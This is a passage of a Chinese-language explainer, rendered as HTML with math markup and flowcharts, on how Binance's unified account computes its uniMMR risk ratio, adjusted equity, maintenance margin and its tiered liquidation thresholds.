class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span>（合约保证金，含阶梯式调整）</li></ul><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：仓位价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>（借贷保证金，仅针对债务部分）</li></ul><p><strong>margin + 权益 + 债务的有机融合：</strong></p><p>这个公式的精妙之处在于：</p><ol><li><strong>权益计算整合了所有资产</strong>：现货、合约盈亏、借贷净值统一折算</li><li><strong>保证金需求覆盖了所有风险</strong>：合约仓位风险 + 借贷违约风险</li><li><strong>债务影响贯穿始终</strong>：既影响权益计算，也影响保证金需求</li><li><strong>动态风险评估</strong>：市场波动时各部分同步调整，实现真正的组合风险管理</li></ol><p>这种设计实现了前所未有的风险管理精度：不再是账户间的割裂风险，而是基于整体资产组合的统一风险评估。</p><h2 id="7-uniMMR：理解统一账户的风险指标">7. uniMMR：理解统一账户的风险指标</h2><p>本章节详细讲解统一维持保证金比率（uniMMR）的计算原理、风险含义及其在统一账户风险管理中的核心地位。uniMMR作为统一账户的核心风险指标，其计算涉及调整后权益、维持保证金和开仓亏损的综合考量。</p><pre><code class="highlight mermaid">flowchart TD    subgraph &quot;uniMMR Calculation Process&quot;        A[&quot;Account Assets&quot;] --&gt; B[&quot;Calculate Spot Equity&quot;]        A --&gt; C[&quot;Calculate Futures Equity&quot;]        A --&gt; D[&quot;Calculate Margin Equity&quot;]        B --&gt; E[&quot;Apply Collateral Ratios&quot;]        C --&gt; F[&quot;Add Unrealized PnL&quot;]        D --&gt; G[&quot;Subtract Debt &amp; Interest&quot;]        E --&gt; H[&quot;Calculate Opening Loss&quot;]        F --&gt; H        G --&gt; H        H --&gt; I[&quot;Sum Adjusted Equity&quot;]        J[&quot;Position Analysis&quot;] --&gt; K[&quot;Calculate Futures MM&quot;]        J --&gt; L[&quot;Calculate Margin MM&quot;]        K --&gt; M[&quot;Sum Total MM&quot;]        L --&gt; M        I --&gt; N[&quot;uniMMR = Adjusted Equity / Total MM&quot;]        M --&gt; N        N --&gt; O&#123;&quot;uniMMR &gt;= 150%?&quot;&#125;        O --&gt;|Yes| P[&quot;Safe Zone - Normal Trading&quot;]        O --&gt;|No| Q&#123;&quot;uniMMR &gt;= 120%?&quot;&#125;        Q --&gt;|Yes| R[&quot;Risk Alert - Monitor Closely&quot;]        Q --&gt;|No| S&#123;&quot;uniMMR &gt;= 105%?&quot;&#125;        S --&gt;|Yes| T[&quot;Reduce Only Mode&quot;]        S --&gt;|No| U[&quot;Liquidation Triggered&quot;]    end</code></pre><h3 id="7-1-uniMMR的计算逻辑与风险含义">7.1 uniMMR的计算逻辑与风险含义</h3><p>统一维持保证金比率（uniMMR）是统一账户模式的核心风险指标，它的设计体现了现代风险管理的精髓。从数学角度看，uniMMR的计算公式相对简单：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.363em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">100%</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：统一维持保证金比率（Unified Maintenance Margin Ratio）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：调整后权益（Adjusted Equity），包括所有账户的净资产价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span></span></span></span>：维持保证金（Maintenance Margin），维持仓位所需的最低资金</li></ul><p><strong>公式原理：</strong><br>该比率衡量账户的整体风险健康状况。当比率高于105%时账户安全，低于105%时触发强制平仓。分子是实际可用的净资产，分母是维持所有仓位的最低要求，两者的比值反映了账户的风险缓冲能力。</p><p>但这个看似简单的公式背后，隐藏着复杂的风险计量逻辑。调整后权益不是简单的账户余额总和，而是考虑了未实现盈亏、开仓损失、资产折算率等多重因素后的净资产价值。维持保证金也不是固定数值，而是根据当前所有仓位的规模、杠杆倍数、市场波动性等因素动态计算的最低资金需求。</p><p>这种设计的智慧在于，它能够实时反映账户的真实风险状态。当市场波动导致资产价值下降或未实现亏损增加时，uniMMR会及时下降，向交易者发出风险警告。当交易者增加仓位或提高杠杆时，维持保证金需求会相应增加，uniMMR也会相应下降，迫使交易者在风险和收益之间做出理性选择。</p><h3 id="7-2-风险阈值的分级管理体系">7.2 风险阈值的分级管理体系</h3><p>币安的uniMMR风险管理采用了分级预警机制，这种设计既保护了交易者的利益，也维护了平台的风险控制。具体的阈值设定反映了监管要求和风险管理最佳实践的平衡。</p><p>当uniMMR高于150%时，系统认为账户风险较低，交易者可以自由开仓、加仓或调整仓位。这个阈值的设定考虑了数字货币市场的高波动性特征，为正常的市场波动留出了足够的缓冲空间。</p><p>当uniMMR下降到120-150%区间时，系统开始发出风险提醒，建议交易者考虑减仓或补充保证金。这个阶段仍然允许正常交易，但平台会通过邮件、短信或应用通知等方式提醒交易者关注风险状况。</p><p>当uniMMR进一步下降到105-120%区间时，系统会启动&quot;只减仓&quot;模式，禁止开新仓或加仓操作，只允许平仓或减仓。这种设计防止了交易者在风险已经较高的情况下继续放大风险敞口。</p><p>最关键的是105%这个强制平仓线。一旦uniMMR低于105%，系统会立即启动强制平仓程序，自动清算部分或全部仓位，直到uniMMR回升到安全水平。这个5%的安全缓冲考虑了市场急剧波动和系统处理延迟的因素，确保在最坏情况下也能保护平台和其他用户的利益。</p><h3 id="7-3-市场波动对uniMMR的影响机制">7.3 市场波动对uniMMR的影响机制</h3><p>理解uniMMR如何随市场变化而波动，对于统一账户的使用者至关重要。这种波动不仅来自于资产价格的变化，还来自于不同资产之间相关性的变化以及杠杆效应的放大。</p><p>考虑一个典型的场景：交易者持有大量比特币现货，同时开启了以太坊的多头合约仓位。在牛市初期，这种配置可能表现良好，因为比特币和以太坊通常呈现正相关性，现货资产的增值可以为合约仓位提供更强的保证金支持，uniMMR持续上升。</p><p>但当市场进入调整期时，情况会急剧恶化。比特币价格下跌直接影响现货资产价值，同时以太坊合约的亏损进一步侵蚀总权益。更危险的是，市场波动性增加可能导致维持保证金需求上升，形成双重挤压。在极端情况下，本来安全的uniMMR可能在短时间内跌破强制平仓线。</p><p>这种动态变化要求交易者不仅要关注绝对价格趋势，还要理解不同资产之间的相关性以及杠杆对风险的放大效应。成功的统一账户管理需要持续监控uniMMR变化，并根据市场条件及时调整仓位结构。</p><h3 id="7-4-调整后权益计算">7.4 调整后权益计算</h3><pre><code class="highlight mermaid">flowchart TD    subgraph &quot;调整后权益计算流程&quot;        A[&quot;账户资产汇总&lt;br/&gt;💰 收集所有资产&quot;]        subgraph &quot;各账户权益计算&quot;            B[&quot;现货账户权益&lt;br/&gt;📊 E_spot&quot;]            C[&quot;U本位合约权益&lt;br/&gt;🔄 E_futures_UM&quot;]            D[&quot;币本位合约权益&lt;br/&gt;🪙 E_futures_CM&quot;]            E[&quot;全仓杠杆权益&lt;br/&gt;⚖️ E_margin&quot;]        end        subgraph &quot;资产折算处理&quot;            F[&quot;应用折算率&lt;br/&gt;📈 r × Asset Value&quot;]            G[&quot;计算指数价格&lt;br/&gt;💹 P_index&quot;]            H[&quot;折算后资产总值&lt;br/&gt;💎 Σ(Asset × r)&quot;]        end        subgraph &quot;开仓亏损计算&quot;            I[&quot;识别跨资产交易&lt;br/&gt;🔍 Cross-Asset Trades&quot;]            J[&quot;计算折算率差异&lt;br/&gt;📉 Δr = r_sell - r_buy&quot;]            K[&quot;开仓亏损&lt;br/&gt;💸 L_open = Σ(Q × Δr × P)&quot;]        end        subgraph &quot;最终调整&quot;            L[&quot;权益总和&lt;br/&gt;💰 Σ E_i&quot;]            M[&quot;扣除开仓亏损&lt;br/&gt;➖ - L_open&quot;]            N[&quot;调整后权益&lt;br/&gt;✅ E_adj&quot;]        end        A --&gt; B        A --&gt; C        A --&gt; D        A --&gt; E        B --&gt; F        C --&gt; F        D --&gt; F        E --&gt; F        F --&gt; G        G --&gt; H        H --&gt; I        I --&gt; J        J --&gt; K        B --&gt; L        C --&gt; L        D --&gt; L        E --&gt; L        L --&gt; M        K --&gt; M        M --&gt; N    end    style A fill:#e3f2fd    style B fill:#e8f5e8    style C fill:#e8f5e8    style D fill:#e8f5e8    style E fill:#e8f5e8    style F fill:#fff3e0    style G fill:#fff3e0    style H fill:#fff3e0    style I fill:#ffebee    style J fill:#ffebee    style K fill:#ffebee    style L fill:#f3e5f5    style M fill:#f3e5f5    style N fill:#e8f5e8</code></pre><p><strong>权益计算方法：</strong></p><ul><li>U本位与币本位合约账户：合约账户余额 + 未实现盈亏</li><li>全仓杠杆账户：总资产价值 - (总负债 + 未偿利息)</li><li>扣除开仓亏损：因不同抵押品率造成的损失</li></ul><p><strong>公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 7.1)</span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：调整后权益总和</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i个账户的权益</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：开仓亏损（因折算率差异产生的损失）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：资产指数价格</li></ul><p><strong>公式原理：</strong><br>调整后权益是统一账户风险计算的基础。它不仅包括各账户的实际权益，还要扣除跨资产交易时因折算率差异造成的潜在损失。这种调整确保了风险评估的准确性和保守性。</p><h3 id="7-5-维持保证金-MM-计算">7.5 维持保证金(MM)计算</h3><p><strong>合约MM：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">U</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span></span></p><p><strong>U本位合约维持保证金：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">U</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" 